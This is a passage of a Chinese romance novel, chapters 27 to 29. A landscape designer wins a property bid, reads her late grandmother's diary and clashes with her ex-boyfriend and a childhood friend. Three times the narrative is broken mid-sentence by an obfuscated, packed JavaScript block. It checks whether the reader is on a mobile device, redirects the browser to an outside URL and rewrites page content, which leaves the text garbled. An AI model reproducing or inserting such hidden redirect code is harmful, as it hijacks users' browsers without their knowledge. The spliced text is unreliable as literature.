但她不紧不慢地挤了一泵洗手液,揉搓着手心的泡沫,洗干净后,对着镜子长舒了口气,回到了会议厅,认真参加完了这场招标说明会,还在会上跟几个团队的负责人交换了联系方式。 会后,会议厅门口,绿木的那位李总与王刚平搂着肩谈着笑,不少团队都见怪不怪地道别离开,云诗加屏着一口气走过,却被王刚平叫住了。 “小诗加?呦,这不是我曾经的小助理嘛?” 油腻的方脸对着她假惺惺地笑,那位李总也把目光转向云诗加的方向。 云诗加闭眼深吸了一口气,挂上微笑转头,浮夸地上前跟王刚平握手,“这不是王总嘛?王总您可是我的老师,王老师,好久不见好久不见!您怎么又变年轻了呢?我这也是来跟着大家来学习学习,好把从您那里学来的知识再巩固巩固,刚刚远远看到您,还不敢认呢,怕打扰您跟李总叙旧。” 她把头转向李总的方向,伸出右手,一脸谄媚:“李总,幸会幸会!我之前就在王总的手底下工作,总是听他夸您英明神武、把绿木集团的建设工作领导得风生水起!” 李总伸手与她相握,脸上带着笑意,“老王,你这个学生很有眼力见啊,现在出去单干了?” 云诗加频频点头:“可不敢说是单干,王总是这么多年为您服务的乙方,我是王总的学生,自然也是为您服务的,大家都是一体的,不分你我,花花轿子众人抬嘛,我就是一抬轿子的。” 王刚平想挑拨离间的话一下子憋了回去,他瞪着云诗加,鼻子里哼出一股气流,却也只能接过话茬:“小诗加,看来你现在干得不错?” “哪有,我现在啊入不敷出,说不定之后还要回去给您打工呢……” 王刚平分不出她说的真话假话,只能哼哼:“你在商场上有的学呢。” “是是是,”云诗加顺杆子往上爬,“有 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金琳收起笑容,正色说道:“好,我听你的,加姐。我真的很感谢你,你知道我在小事上不细心,但我在大事面前绝不给你掉链子,当时要不是你护着我,我就……” “好了,伤心事就不提了,”云诗加笑着摸了摸金琳的手背,“化悲愤为力量!” “嗯!化悲愤为力量!”金琳吸了吸鼻子,振作了起来,“加姐,你回办公室嘛?” 云诗加摇了摇头,“不去了,我回去休息了。” 金琳:“那我跟他们一起打车回去了,我今晚把这次招标说明会的内容先整理一份,明天咱开会用。” 云诗加笑着说:“难得见你这么积极加班,行,那你忙去吧,明天见。” 等金琳他们走了,云诗加拿起包往卫生间走,跟王刚平握过的手,她得好好洗洗。 洗完手出来,酒店长廊的尽头,光影朦胧。 舒洛原倚在雕刻着枝叶的柱子上,好整以暇地等着她。 云诗加无视他,从柱子旁走过去。 舒洛原跟了上来,亦步亦趋。 酒店地毯吸收了所有脚步里的纷乱,但云诗加还是不耐地停在了拐角,周边没有人,她转过头来,怒视着他。 “你来这里做什么?”云诗加怒气冲冲。 “偶遇你。”舒洛原老实回答,没有一点隐瞒,脸上笑嘻嘻的。 云诗加气结:“你以为你是谁啊?想做什么就做什么?想怎么样就怎么样?耍我很好玩吗?” 舒洛原终于发现她的不对劲,似乎并不是为了他的出现而生气,他小心翼翼:“怎么了?” 云诗加向来知道,这世上没有无缘无故的恨,没有无缘无故的爱,当然也没有无缘无故的便宜可占! “你假装跟谢如一不熟,又让谢如一来找我,给我提供内部消息,为了什么?” 云诗加刚刚在会议厅里一边听说明,一边心里盘算这中间她不知道的事情,其实心里已经明白了八成,但她还是怒气难消。 “那你觉得我是为了什么?” 舒洛原垂眸问她,盯着她唇上的那抹红色看。 他知道她心照不宣。 27. 027 隐眉,亲启。 “耍我很好玩吗?”云诗加变扭地问。 “你知道我没有在耍你,如果是我给你提供一个新项目,你会像对待谢如一那样,冷静地、公事公办地对待我吗?” 舒洛原一语点破她的龃龉,她内心不愿承认的那点难堪,他都知道,她可以接受所有人的馈赠,但是他不可以。 她怕他认为她还有所幻想,然后看轻她。 “我不需要。” 云诗加冷硬地说,她低头想离开了。 “那如果是向笙和呢?他给你介绍的生意,你不都做得好好的?” 舒洛原堵住了她的去路,他宽阔的肩膀的阴影投射在她的脸庞上,隐罩着她表情的慌乱。 她一时没说话。 舒洛原也不说话,低头看着她白皙的脸庞,她抿紧的红唇,蹙起的眉头,将将好的小巧的鼻梁,还有她低垂的颤动的睫毛。 “我跟向笙和的事情与你无关。” 默了她说了这么一句。 舒洛原的心头被这一粒火星燎了原,理智被劈里啪啦烧了个干净。 “与我无关?你跟他若是有可能,这么多年早就结婚了!我不管你跟他当年的事情真的还是假的,但如今我回来了,有他什么事?他那点花花肠子,你明明都看在眼里,你真的会喜欢这种人吗?我了解你!加加,我知道你不喜欢他,他不过是你家里人的一厢情愿,对不对?” 舒洛原低头看着她,目光里带着再也藏不住的通透和傲然。 “你了解我吗?” 云诗加幽幽抬头,眼里藏着泪花,她没掩饰。 “你觉得我这么多年没跟他在一起,是因为在等你吗?还是你觉得他不如你好?” “向笙和的为人你有什么资格评价?你又用什么身份来质问我?” “是,我们是谈过一段,那又怎么样?我不想欠你的,也不想跟你再有交集,不行吗?在你看来,我拒绝你的帮助就是对你旧情未了?” “那你也未免太自负了。” 云诗加冷冷落下一句,一把推开他,扬长而去。 舒洛原怔愣在当场,手掌疤痕处的新伤旧痕一起在隐隐发痛。 云诗加回了家,打开玄关的灯,莫名闻到一股洗发水的味道,想起那天他在这里揉搓着她的发顶,她心里又是一阵悸动,看到脏衣篓里放着那条毛巾,她忙把毛巾连同脏衣服一股脑塞进了洗衣机。 洗衣机轻声嗡鸣,云诗加坐到了书房,强迫自己冷静下来,打开电脑开始工作,画图总是会让她进入心流,不再想其他事。 但她盯着电脑光标在屏幕上跃动,脑子却止不住地回想过去的种种。 譬如大学时他总是坦然告诉她,又有哪位学妹或者社团的朋友跟他告白了,他说他果断拒绝,但他几句轻飘飘的讨好卖乖,却让她在夜里反复泛着酸。 譬如他为了留学做足了功课,却还是懊恼自己某一门课的绩点不是满分,听完他说的,她把自己某门课差点挂了的吐槽生生咽了下去。 譬如那次在她学校的辩论赛,她遥遥看着他在台上众星捧月,还有那个蒋茹不知从何处找到了她的社交帐户,给她发来私信问他过去的状况,她没有回复,点开蒋茹精彩的主页看了许久。 譬如他总是来看她,却拒绝她去看他,某一次她悄悄坐绿皮火车去了北城,以为可以给他一个惊喜,他却质问她怎么可以不声不响地来找他,他给她转了一笔钱,给她买了回程的高铁票,他以为他是在对她好,但这只会让她觉得,她努力攒的钱对他来说不值一提。 还要重蹈覆辙吗? 对着毫无进展的图纸,云诗加不禁问自己。 她叹了口气,对于新方案实在是没有头绪,合上电脑,瞥见搁置在电脑旁的外婆的日记,想到上次还剩一段没看完,便翻到书签卡住的那一页继续往下读。 “我生了病,怕是活不久了。” “加加照顾我,要是耽误了她的学业,那我便是罪人。” “他避开了我的家人,偷偷来医院看了我。” “他说他这辈子最后悔的事情就是那年我说要断了娃娃亲,他听从父母之命,没有来阻止我,从此懊悔一生。” “见到他,听到他说的这些话,我的病痛竟好了大半。” “他送了我一捧马兰花,像小时候田间长的那种,白色的花瓣,黄色的花心,很漂亮。” “他知晓我最爱吃马兰头炒豆干,说等我病好了便跟我每年春天都一同去采马兰头,他亲自洗干净了,再炒给我吃,今年已经是过了清明了,他不知道,我怕是吃不上明年清明的马兰头了。” “加加也爱吃马兰头,也不知道我走了以后,谁能给她去地里挑最鲜嫩的马兰头吃。” 看到这里,云诗加的眼眶一阵湿润。 今年清明,她去扫了墓,外婆的墓前不知何时冒出几株野花野草,她认得有两株马兰头在风中摇曳,微红的根茎淡绿的叶片,春意盎然。 她愿意相信有神灵,把外婆的寄托与思念用这种方式带给她。 翻到日记的最后一页,纸张皱皱的,像有眼泪氤氲滚过,但黑笔写下的数字依旧清晰。 一行是银行卡号和密码,一行是存折单号,外婆还记下了存款总额,备注存款和乡下的房子一同全部留给加加。 最后的最后,她记下了一串电话号码。 云诗加在手机里输入了这串号码,显示是深城的手机号,她想,应当是藏在外婆心里的那个“他”。 但她并未打算去打扰一位老先生。 看完日记,云诗加将日记本妥帖地收好在抽屉里,打开抽屉,里面还有一打信件,每个信封上都是“隐眉,收”“隐眉,亲启” 云隐眉。 她的外婆叫云隐眉。 云诗加创业的想法也是来源于外婆。 外婆从年轻时就爱侍花弄草,别的农村老太太在自家田地和院子里都种满了瓜果蔬菜。 云隐眉不一样,田地里种菜,院子里种花种树,每个品种都种得极好,长势喜人,花朵饱满,菜地也打理得有理有序,方方正正一块块的,一目了然。 日记里记下了诸多经验细节。 “三月廿二,晴,今日天好,太阳暖得很。把院角那畦地翻了翻,土要晒透才松,种菜种花都旺。” “三月廿三,阴,墙边那株月季,去年枯枝没剪干净,今日修了修。花跟人一样,清爽了才精神。剪下来的枝,插在湿土里,说不定又能活几株,不糟蹋东西。” “五月初三,晴,浇菜用淘米水,攒几天再浇,肥得很。” “七月初九,热,今日落雨,茉莉搬进屋,怕淋狠了掉花苞。” “八月初六,晴,门前塘边的鸡头米又长起来了,加加爱吃,多摘些,煮甜汤。” 云诗加将外婆写下的道理与经验都记在了自己的笔记本上。 外婆走了以后的那段时间,她过得也艰难,靠着在出租屋里读这几本厚厚的日记聊以慰藉,外婆的爱从岁月漫长的字里行间溢出来,让她对生活慢慢又开始有了期待。 就当是为了外婆,她也要好好生活下去。 她是笨鸟先飞的类型,职场上一时不得窍门,但她努力肯干,也参与做好了几个项目。 其中她负责的第一个项目是给一个养老院做景观设计,除了好养活的植物之外,她还主张在养老院后面的一块空地上开辟一片农场,让老人们在养老之余还能享受一些种植乐趣,还主张让一些年轻人通过承包部分农场劳务的方式来减免在与养老院合作公寓的租金。 项目在完成一年后获了奖,一个在业内很重要的大奖。 她收到获奖消息时很激动,甚至已经在脑海里拟了获奖感言。 她想谢谢她的外婆,是外婆让她走上了这条与植物打一辈子交道的路,是外婆教会了她这么多道理。 她想让云隐眉这个名字出现在领奖台上,让更多人知道,云隐眉不止是一个为了家庭牺牲了一辈子的农村妇女,还是一个对植物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王刚平这次不敢不信了,他不可思议地看着她:“你这阴毒的女人!你!” 云诗加耸了耸肩。 “所以王刚平,你给我夹着尾巴小心做人,别让我知道你、或者你的下属又骚扰女员工,不然我有你好果子吃。” 电梯到了,她走了进去,电梯门关上之前,她又补了一句: “当然你要是想给我使绊子也可以,我随时奉陪,反正我年轻,有的是时间陪你这种老登耗。” 电梯门关合,云诗加听见门外王刚平怒吼了一声。 后来听前同事说,王刚平把手机摔烂了。 金琳自此以后为她马首是瞻。 云诗加如愿参加了养老院项目的颁奖典礼,并且利用这个项目拿下了一个新的幼儿园项目。 她开始没日没夜地工作,租办公场地、跟客户维系关系、亲自盯图纸…… 向笙和评价她,把自己当成了一个男人用。 午间休息跟向笙和约在创业园区的简餐店谈生意,他这么说,云诗加就用斜眼看他。 “赚钱分什么男人女人,就算是阴阳人来了也得这么拼,才能有机会从别人的盘子里抢一块蛋糕来吃。” 向笙和依旧做着他的悠闲厂二代,父母辈攒下的资源和资产就够他吃穿不愁三辈子了,他自然无法理解从零开始的焦灼竞争意识。 他说:“但是你太累了我会心疼,我想照顾你。” 云诗加知道他在扮演一个深情的男人人设,于是她又瞥了他一眼:“行啊,你想让我别这么累,就把你家的资产分我一半,哦,对,还得签自愿转让协议。” 向笙和被她的语出惊人呛了一口水,咳了半天没说出话来。 云诗加用餐巾擦了擦嘴,站起身。 “笙和,不开玩笑了,言归正传,那我新项目的景观铝板材料就交给你搞定了,我希望能拿到一个你家厂的铝板底价,到时我让我助理跟你接洽,你慢慢吃,我先上楼去忙了。” 28. 028 夏天的风 当舒洛原手上的新伤结了痂又落了,苏城正式进入了夏天,阳光晒过大地,到处热烘烘的一片。 绿木集团的新招标项目有了眉目。 此次招标时间紧急,任务繁重,各个参与投标的团队都被折磨得疲惫不堪,好不容易到了比稿会,交完标书等待结果时,会场所有人都一脸困倦,眼下挂着两轮黑圈,哈欠连天。 云诗加也不例外,打了个哈欠,看向会议室外面走廊有一扇巨大的落地窗,外面骄阳烈烈,室内却是一片寂静,冷空调吹着,周边已经睡倒了一片。 金琳斜靠在她肩上睡着了,呼吸沉重。 交标前最后一轮检查核对是金琳负责的,一晚没睡,云诗加看在眼里,虽然肩膀酸痛,但也尽量坐着不动,好让金琳休息一会儿。 等了不知有多久,会议厅内的与会人员鱼贯而出。 招标结果公布。 诗加工作室中了标。 云诗加没有太过惊喜,她的方案有多契合楼盘的主题她心里清楚,倒是金琳高兴地跳了起来,刚睡醒下盘不稳差点摔了一跤,还是云诗加扶了她一把,才没让金琳在这么多人面前出了洋相。 谢如一西装革履,手臂看上去已经康复,走到云诗加面前与她握手恭喜。 云诗加体面地笑笑:“托您的福。” 谢如一没有居功:“是我爷爷拍的板,跟我关系不大,还是你的方案出彩,特别是门口那个梦幻游龙池景和田园野草意境,我看了都心动,跟别的楼盘审美完全拉开档次了。” “谬赞了,改日您得空了,我请您吃饭,好好谢谢您。” 谢如一摆摆手:“不用这么客气。” 云诗加朝他挤挤眼睛:“那如果请上咱俩的中间商呢?” 谢如一愣了一下,震撼于她的通透,刚要说些什么强行解释一番,就被她一句玩笑巧妙化解了。 “我那儿又得了一株上好的牡丹,豆绿色的绣球型,下次请您来观赏,中间商为我们爱花之人如此费心牵线搭桥,我们应该多交流交流才能不负他的一片苦心啊。” 谢如一闻言哈哈大笑起来:“云总你真是有意思,好,你下次请我,我一定来。” 会议厅侧门打开,轮椅推出一位长者,轻声唤道:“小一,你过来。” 云诗加闻声望去,应当是谢如一的爷爷,已是老态龙钟,一脸颓相,手指微微颤抖,膝上盖着一块毯子,笑起来却还能看出几分年轻时的俊朗。 谢如一走过去,从工作人员手里接过了轮椅,将轮椅上的老人推到了云诗加面前,向爷爷介绍说:“这位就是诗加工作室的创始人云诗加、云总,您喜欢她的方案?” “谢董您好,我是云诗加,感谢您的喜欢。”云诗加恭敬问候道。 谢铭颤颤巍巍地点了点头,浑浊的眼睛突然清明了起来,抬头盯着云诗加的眼睛看了又看,突然抬手握住了云诗加垂下的手腕。 “好,好,你好好干。”谢铭捏着她的手腕紧紧握了两下后松开。 谢如一尴尬说:“爷爷累了吧,我带您去休息会儿。” 待谢如一把爷爷送回了休息室回来,云诗加向他告辞,谢如一拦住了她,向她解释:“抱歉,我爷爷最近可能有些糊涂了,没冒犯到你吧?” 云诗加摇摇头:“没事,我知道老人失能后很痛苦,没有冒犯到我,倒是让我想到了我的外婆,当时她生病后也很痛苦,有时会攥着我的手不舍得放开。” 谢如一舒了口气,说道:“我爷爷平日里已经不管集团的业务了,但这次的项目在苏城,他坚持要回来看看,这也是他的故乡,这次的楼盘项目就定在了曾经他居住过的地方,他对这里很有情结,看了你的方案,他特别喜欢,我想我也算做对了一件事情,爷爷最近身体越来越不好了,我也想让他开心点。” 云诗加宽慰他:“谢总,我一定尽我所能把这个项目做好,您有事可以直接吩咐我。” 谢如一真诚看向云诗加,他说:“谢谢。” 云诗加从等待室的沙发上捞起公文包背在身上,走到门口时,她突然想起什么,转过头来说:“哦差点忘了,谢总的手臂还需要去复查吗?” 谢如一垂头看了看已经康复的手臂:“伤筋动骨一百天,接下来养着就成了,说起这事儿,我还是得再次谢谢你啊。” 云诗加见他真诚以待,起了开玩笑的心思,她说:“那记得跟舒总签约下一年度的分销合同吧,省得他又来拿这件事烦我。” 谢如一愣了一下,又笑出了声。 “云总啊云总,我看舒洛原碰上你是他上辈子修来的福气!” 云诗加没说话,笑了笑,推开门出去了。 谢如一见外头的太阳躲到了云后,趁着傍晚有风,回休息室喊醒了半梦半醒的爷爷,推着爷爷去湖边散步。 爷爷望着波光粼粼的湖面,呼吸着暖热的初夏湖风,起了一些感慨。 “当年这里就是一片农田,哪有这么多高楼大厦。” 谢如一附和道:“城市经济发展就是如此,日新月异。” 谢铭目光投向远方,幽幽说道:“人也不似当年勇。” 谢如一想取悦爷爷,便诙谐了一句:“但年年都有相似的英雄少年,您看我不就是继承您的衣钵,怎么样?我这次干得还不错吧?” 谢铭没好气地睨了他一眼,“项目没落地呢你就来讨赏了?跟谁学的,沉不住气!不过你这次几个项目选过来的几个乙方都还不错,也算是给集团引进了新气象,好好干下去,戒骄戒躁。” “好嘞,我肯定好好干,您也得多活几年,才好盯着我干活不是?”谢如一卖乖说。 “我还死不了呢,起码看这苏城的项目落了地,我才好闭眼。” 谢铭说到这里,又说:“今天那个小姑娘不错啊,眼睛长得漂亮,合我眼缘,说话也利索,我看得钟意,你有没有什么想法?” “可不敢!”谢如一把轮椅停在了一个树荫下,连忙撇清:“我跟她可没什么工作之外的交情,爷爷你可别乱点鸳鸯谱!” “慌什么,又沉不住气,”谢铭拿着手里的拐杖敲了一下孙子的屁股,气哄哄地说:“我就问问你,什么时候给我找个孙媳妇过来陪我说说话?” 谢如一给爷爷捏了捏肩膀:“有有有,追我的女孩儿从金鸡湖排到太湖去呢,但刚刚那位可不在这个队伍里,我一个朋友在追她呢,我这个朋友您也认得,舒洛原。” “哦?”谢铭抬眼看孙子,来了兴致,“洛原那小子在追她?” 谢铭对着湖面捋了捋下巴上的白胡子,还没混沌的脑子突然灵光一闪,拍了一记大腿,大叫一声:“哎呀!” 谢如一被爷爷吓了一跳:“怎么了爷爷?是哪里不舒服吗?” 谢铭又用拐杖捅了一记谢如一的身体,谢如一慌忙躲开,护着自己还没好全的胳膊叫道:“爷爷你没不舒服也不用打我吧?” 谢铭飞了眼刀过去:“我就说舒洛原那小子怎么突然找我来要澈园,原来安的是这个心!你啊你,你要是像舒洛原这么聪明,我肯定早就有孙媳妇了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399811|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢如一听了不服气了,爷爷总是高看舒洛原一眼,把他贬低得一文不值,他强行辩驳道:“我怎么了我?爷爷你也是个老光棍,还要意思笑我!” 谢铭把拐杖直接扔了出去,骂孙子:“闭嘴吧你!” 谢如一见他生气了,反而笑嘻嘻的,去把拐杖捡了回来,塞回爷爷手里:“看您劲儿挺大的,老当益壮啊,有空出去给我找个奶奶呗……” “没大没小的!” 谢如一重新推动了轮椅往前走,巧的是没走几步,刚刚被他们讨论的对象出现在了湖边的咖啡店里,爷孙两人从环湖步道望过去,将窗边的一男一女看得一清二楚。 云诗加接到了向笙和的电话,从会议厅出来就直奔附近的咖啡厅。 向笙和的来意很简单,他父母紧锣密鼓地给他安排相亲中,他想用云诗加作为由头来挡住新一轮的相亲。 “这不太合适吧?”云诗加说,“毕竟我们没有……” “没什么合不合适的,过段时间就说我俩分了呗,我妈从小就喜欢你,这你知道的,你帮我推了这些相亲,我起码能清净半年,而且我妈肯定也不会亏待你的,起码一周给你送一次礼,让你赚一笔。” 向笙和说得没错,也都是事实,他妈妈从小就喜欢云诗加,他俩从小在一个楼里长大,小女孩乖巧可爱、上进努力,怎么看都是最好的儿媳妇人选。 但必须承认,他说这些话是带着些私心的。 他和云诗加这么多年走过来,平平淡淡,友情居多,亲情也有些,偏偏爱情不足。 本想着细水长流,慢慢成为她身边不可替代的人,但某人回来了,让向笙和的危机感突然上升,想借由这个契机,把他们的关系往他预想的路上推上一把。 说完他又补了一句:“当年你拿我跟那位分了,我还蒙在鼓里呢,怪不得他对我嫉恶如仇啊,这次你帮我,咱俩算是扯平了。” 云诗加微微蹙眉,应了下来:“两个月。” 向笙和兴高采烈:“行啊,两个月也算我赚了。” “不过你妈妈的礼物我肯定不收的,无功不受禄。”云诗加划清界限。 “不行你到时候还给我呗。”向笙和知道她的性格,也知道他就算拒绝她也不会听的。 湖边的这间咖啡厅风景极好,还带一个花园露台,不少女生都在露台拍照出片。 向笙和拉着云诗加坐在露台的一个秋千吊椅上,秋千绳嘎吱嘎吱晃悠,他提议给他妈发一张恋爱照,云诗加同意了。 “你靠在我肩上呗。”向笙和举着手机自拍,做得笔直,他摁了一张,觉得不满意,又换了个姿势。 “向笙和,你别得寸进尺。”云诗加看了他一眼,晓得他心中所想,但还是配合拍了。 她一手拽着秋千绳稳定身体,另一只手伸到背后撑着秋千椅子,头微微倒向向笙和的肩膀。 “咔嚓”,向笙和满意地拍下了一张你侬我侬的恋爱照片,“再拍一张。” 向笙和还没来得及摁下第三张,突然发现自拍镜头里出现了一张阴沉沉的脸。 舒洛原一把捏住向笙和的领子,将他从秋千椅上拽了起来。 云诗加惊呼:“你怎么来了?” 怎么来的? 舒洛原还以为云诗加会按照往日工作安排每周一去澈园盯进度,要不是谢如一通风报信,他如今还蹲在蟹塘傻乎乎等着呢。 向笙和笑着把领子上的手推开,站稳了说:“有话好好说。” 舒洛原松开手,目光沉沉,“我们谈谈。” 29. 029 湖面的波光渐渐暗淡下去,太阳落了山,傍晚的风大了起来。 白日的热流像是一种错觉,初夏的晚风还是有些冷的。 两个男人站在湖边的风口,任湖风将两人的头发吹得凌乱。 比起舒洛原的紧绷,向笙和表现得很轻松。 “你要找我谈什么?”向笙和理了理衬衫领子,见面前的男人不说话,他又说,“你要是没什么想谈的话,我要送我女朋友回去了。” 舒洛原在此之前,一直在怀疑他们的关系,不像恋人,却也不像朋友。 他迟迟不敢问,不敢去想,是生怕知道自己内心的龃龉被揭露在阳光下,曝晒后变成发烂发臭的道德垃圾。 他一脸严肃地对着向笙和说教:“你谈过这么多女朋友,连我都略有耳闻,最后是海王收心上岸了?你把她当备胎当老实人接盘是你的事情,我无权干涉,但我想说,她值得一个真正爱她的人。” 向笙和听完乐得笑了。 “你从哪里判断我不爱她?” 若要追溯向笙和爱上云诗加的源头,倒也还是要从舒洛原这个人开始说起。 云诗加和向笙和同在申城读书,周末时常搭伴回苏城,拼车去火车站也更划算。 那天周五,向笙和照例发消息问云诗加要不要回苏城,云诗加没回。 他打去了电话,听筒里传来云诗加抽抽噎噎的声音。 向笙和一听便知,她和男朋友又吵架了。 舒洛原来申城次数多,向笙和见过他好几次,大学城附近的娱乐场所不多,有时正巧碰上了,还能打个招呼。 有一次甚至是在酒店里碰上的,向笙和搂着当时的女友,舒洛原搂着云诗加,四个人在电梯里八目相视,竟没有一个人主动打招呼。 在向笙和看来,舒洛原就是一个眼高于顶的人,当然他不会承认,他对舒洛原的判断是夹带着些许妒忌的。 那次云诗加和舒洛原吵架是因为什么,向笙和已经不记得了。 他拎着云诗加上了回苏城的高铁,掏出纸巾给她擦眼泪,她默默看着窗外飞驰而过的城景,发丝黏在脸颊上,他突然伸手想帮她把发丝别在耳后。 她的耳朵是红的,眼眶也是红的,时不时吸一下鼻子。 那一刻,向笙和突然想起小时候,他们和周边好几个孩子一同玩的时候,云诗加总是做跳绳的桩子、做老鹰抓小鸡的老鹰、默默地扮演其他孩子不愿意玩的角色,从来不计较什么。 只有一次,一个大孩子欺负他,云诗加出手把对方推倒在地上,那个大孩子回家告了状,家长找上门来,云诗加她爸怒气冲冲打了她的屁股。 那是向笙和印象里第一次见她哭,眼泪汪汪的。 他当时对她发誓说,对不起,以后我来保护你,不会让你再被你爸打了,也不会让你哭了。 云诗加重重点了头,跟他拉了勾。 时隔这么多年,向笙和再次亲眼见到她哭,还是因为另一个男人。 不知为何,他心里不是滋味。 云诗加攥着擦过眼泪的纸巾,小指微微勾起,向笙和突然伸手把自己的小指勾了上去,云诗加诧异地看向他,他笑了笑,把她手里的纸巾拿走丢进了过道来收垃圾的阿姨的袋子里。 “反正我是不会让女朋友哭的,不如……”他眼睛都不眨,鬼使神差地说出:“不如你跟他分手,跟我谈吧。” 云诗加的眼泪止住了,瞪大了眼睛看他,像在看一个怪物。 向笙和摸了摸脑袋,后知后觉地说:“我开玩笑的……” 云诗加抿了抿嘴唇,知道他一向不牢靠,说话颠三倒四的,便骂了一句:“神经。” 不知为何,骂完向笙和,她的心情莫名好了些,眼泪不再流了。 这场玩笑就这么过去,但向笙和的心里却冒出了一棵蓬勃的芽,长着长着,便成了藤蔓缠绕在心头。 他不想让她再哭了。 他也的确就是这么做的。 所以他可以理直气壮地对这位莫名其妙的前男友发问—— “她外婆去世的时候,是我在她身边,陪她料理各种事务,度过了低谷。” “她因为工作不高兴的时候,是我去教训了她的领导。” “她想要创业的时候,是我投资了她,让她没有后顾之忧。” “哦还有,我们是从小一起长大的情谊,我想这应该无人能够比拟。” “我请问,自我标榜‘真正爱她的人’,我说的这些时刻,您都在哪里呢?” 舒洛原哑口无言。 他想说他从没有忘记她,他想说他做了很多,但他没法对着向笙和把他那些隐秘的心思都宣之于口。 所以他选择了沉默。 向笙和却没有打算放过他。 向笙和继续滔滔不绝地说下去,像要把他这股恶势力的苗头扼杀在回忆里。 “她从小到大哭过的次数不多,但大部分都是因为你。” “她不喜欢别的女孩倾慕你,但她没法说。” “她不喜欢你居高临下的爱,总让她迁就你的时间、你的安排、你的朋友,她本就不是一个爱社交爱热闹的人,为了你,她努力融进你的圈子,你有为她想过吗?” “她想要低调,想要谈好你们两个人的恋爱,你却总想站在聚光灯下受人瞩目,同学也好,家人也好,你明知她的家里……” “算了,这就不说了,你不知道她从小受了多少苦,对婚姻和爱情有多少失望,却还愿意为了你豁出去爱一场……” 舒洛原的眼神从这里开始变了。 他突然发现自己完全不了解云诗加,跟他谈了四年多恋爱的女孩,他却不了解她。 她从未跟他聊过家人。 在他向她抱怨家里人的爱有些窒息、父母总是争吵时,她总会温柔而腼腆地劝慰几句,然后转移话题。 在他聊起对事业和家庭日后的规划时,她也从不插嘴,只是静静地听着,然后夸奖他是一个很有规划又有责任感的人,他陶醉在她的仰视里,从未想过她的见解或许是完全不一样的一方天地。 她甚至从未跟他聊过朋友。 大学时,她只偶尔提过一两次关于室友之间有些日常矛盾的事情。 至于朋友,她似乎压根儿没有朋友,她需要专注功课、兼职赚钱、照顾家人、陪伴男友,没有闲暇去发展一个各方面都知心知意的好朋友。 舒洛原回想了许久,他被他们之间恋爱的浓情蜜意蒙住了双眼,看不见蜜罐底下堆积的灰尘。 所有的美好回忆只是他的单方面视角,他竟不知她是如何看待他们的感情的,或许会把他看成是一个只会迷恋她身体的色魔?或许会认为他的爱是一种怜悯? 他不知道,他没有答案。 他迫切地想问问她,这些年是如何度过的,却又不知要跨过那些错过的时光,如何去填补那些遗憾。 “对不起,我想我……”舒洛原的嘴唇来回张合了好几次,艰难吞咽了一下,方才继续说:“我想她说得对,是我太自负了。” 晚风凉薄,舒洛原的心好像缺了一个口,呼呼往身体里灌着风。 “谢谢你。”舒洛原真诚地看着向笙和的眼睛,“虽然我没有资格,但谢谢你这么多年,一直这么照顾她。” 向笙和吊儿郎当地回了句:“兄弟你说啥呢,这是我应该做的。” “对,你有身份这么做。” 舒洛原喃喃了一句,落魄地转过身,往湖边走去。 向笙和望着他的背影,确认他没有想翻过湖边的栏杆跳下去的打算,才转身离开。 送云诗加回去的路上,向笙和不禁问:“真不喜欢他了?其实你要是不喜欢我,还喜欢他,想和他复合,我也支持的。只要你过得开心就好,我只是希望你快乐。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403807|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他这话自认为说得滴水不漏,体贴备至。 云诗加望向窗外的夜色,一时没说话。 良久的沉默后,她笑了笑:“笙和,你什么时候这么扭扭捏捏了?喜欢也好,不喜欢也好。我二十七岁了,不是十七岁,不是光靠荷尔蒙就能过日子的年纪了。” 向笙和咀嚼品味了一番她的话,也一路沉默了下去。 云诗加彻底忙了起来。 手头接的项目多了,人手不够,发布招聘还没招到人,她是打过工的人,将心比心,也不好意思让手底下的员工多加班,只能自己多干些。 忙起来便顾不上其他的事情。 好不容易将施工方案最终稿提交给绿木集团那边的对接部门,云诗加打开手机一看,竟然忘记了好久之前跟吉他老师约的课,还有涂玉棋邀她周末去选伴娘服。 她忙给吉他老师道歉,老师也没有生气,说自己正好想休息一下,改约时间。 云诗加确实也许久没有练习,跟老师改约了下周的时间,打算趁这几天还能抽空练习一下再去学习新知识。 云诗加回家从书房的墙上取下落了薄薄一层灰的吉他包,拨弄了一下琴弦,对着黑白乐谱生硬地复习了一首上回学的曲目,却没法真正投入进去,叹了口气又将吉他收了起来。 说起来她心里乱得很,之前想学一门乐器,也是因为舒洛原。 舒洛原大学时带她去参加过同学的一次生日聚会,北城高档的一处派对包厢被包了下来,布置精致,风格主题是浪漫风,包厢里摆设了钢琴、吉他、架子鼓等乐器。 他们各个都才艺卓绝,几个人嚷嚷着要一起给寿星弹奏一首生日快乐歌。 舒洛原率先在钢琴凳上坐了下来,掀开琴盖弹奏主旋律,其他几个人也各拿了擅长的乐器,即便是不会乐器的,还有会跳舞的。 聚会是热闹而愉悦的,并没有令人不适的地方。 但云诗加想,是她的自尊心在作祟。 她什么也不会,只能在一旁鼓掌欢呼,她无法真正地融入进去,变成他们的一部分。 